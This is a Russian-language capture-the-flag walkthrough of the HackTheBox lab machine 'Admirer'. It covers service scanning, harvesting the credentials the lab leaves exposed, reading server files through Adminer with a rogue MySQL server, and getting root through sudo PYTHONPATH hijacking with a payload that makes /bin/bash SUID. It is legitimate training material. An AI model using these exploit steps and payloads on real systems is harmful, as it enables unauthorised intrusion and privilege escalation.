Обзор сервисов

Машине присвоен IP-адрес 10.10.10.187, мы же начнем со стандартной разведки с помощью nmap (для простоты воспользуемся скриптом nmapAutomator):

$ nmapAutomator.sh -H 10.10.10.187 -t Full

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Получаем немного нестандартный набор портов для Linux-машин на HackTheBox - у нас есть дополнительно FTP.

Веб-сервис

В выводе nmapAutomator видим файл robots.txt, запрещающий индексирование /admin-dir.

User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

Запустим feroxbuster, чтобы поискать файлы в этом каталоге.

$ feroxbuster -u http://10.10.10.187/admin-dir/ -w /usr/share/dirb/wordlists/big.txt -x php,txt

200       11l       13w      136c http://10.10.10.187/admin-dir/credentials.txt
200       29l       39w      350c http://10.10.10.187/admin-dir/contacts.txt

Посмотрим, что в этих файлах:

http://10.10.10.187/admin-dir/credentials.txt:

[Internal mail account]
[email protected]
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

http://10.10.10.187/admin-dir/contacts.txt:

##########
# admins #
##########
# Penny
Email: [email protected]


##############
# developers #
##############
# Rajesh
Email: [email protected]

# Amy
Email: [email protected]

# Leonard
Email: [email protected]



#############
# designers #
#############
# Howard
Email: [email protected]

# Bernadette
Email: [email protected]

FTP

Попробуем подключиться по FTP с кредами пользователя из предыдущего пункта.

$ ftp 10.10.10.187
ftpuser
%n?4Wz}R$tTF7
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz
> get dump.sql
> get html.tar.gz
$ tar xvf html.tar.gz

Исследуем резервную копию сайта:

$ cd w4ld0s_s3cr3t_d1r
$ ls
contacts.txt  credentials.txt
$ cat credentials.txt
[Bank Account]
waldo.11
Ezy]m27}OREc$

[Internal mail account]
[email protected]
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!
$ cd utility-scripts/
$ ls
admin_tasks.php  db_admin.php  info.php  phptest.php
$ cat db_admin.php
<?php
  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";
$ cat index.php
$servername = "localhost";
                        $username = "waldo";
                        $password = "]F7jLHw:*G>UPrTo}~A"d6b";
                        $dbname = "admirerdb";

Обнаруживаем, что это утилита Adminer, которая находится в Open Source.

Публичный эксплоит

Воспользуемся уязвимостью File Disclosure. Для этого необходимо сконфигурировать локальный сервер MySQL:

$ mysql -u root -p
> create database backup;
> use backup;
> CREATE USER 'backup'@'%' IDENTIFIED BY 'backup_pwd';
> grant all privileges on backup.* to 'backup'@'%';
$ sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf
$ sudo systemctl restart mariadb

Переходим на http://10.10.10.187/utility-scripts/adminer.php.

Alt text

Вписываем свои креды от MySQL.

host: 10.10.14.6
db: backup
user: backup
pwd: backup_pwd

Создаем таблицу backup с колонкой name типа varchar(2000) и выполняем SQL:

LOAD DATA LOCAL INFILE '../index.php'
INTO TABLE backup.backup
FIELDS TERMINATED BY "\n"

И получаем в таблице файл index.php, в котором видим актуальные креды.

$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
$dbname = "admirerdb";

Переиспользуем их для подключения по SSH.

$ ssh [email protected]
&<h5b~yK3F#{PaPB&dA}{H>

Alt text

Пользовательский флаг

Alt text

Повышение привилегий

Сделаем стандартную проверку sudo:

$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh
$ id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)

У нас есть группа admin (можем писать в /dev/) и право переназначать переменные SETENV.

Создадим файл /dev/shm/shutil.py с нашим пейлоадом:

$ nano /dev/shm/shutil.py
import os

def make_archive(h, t, b):
        os.system('chmod +s /bin/bash')

$ sudo PYTHONPATH=/dev/shm /opt/scripts/admin_tasks.sh

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6 
Running backup script in the background, it might take a while...
$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1099016 May 15  2017 /bin/bash
$ /bin/bash -p
bash-4.4# id
uid=1000(waldo) gid=1000(waldo) euid=0(root) egid=0(root) groups=0(root),1000(waldo),1001(admins)

Флаг суперпользователя

Alt text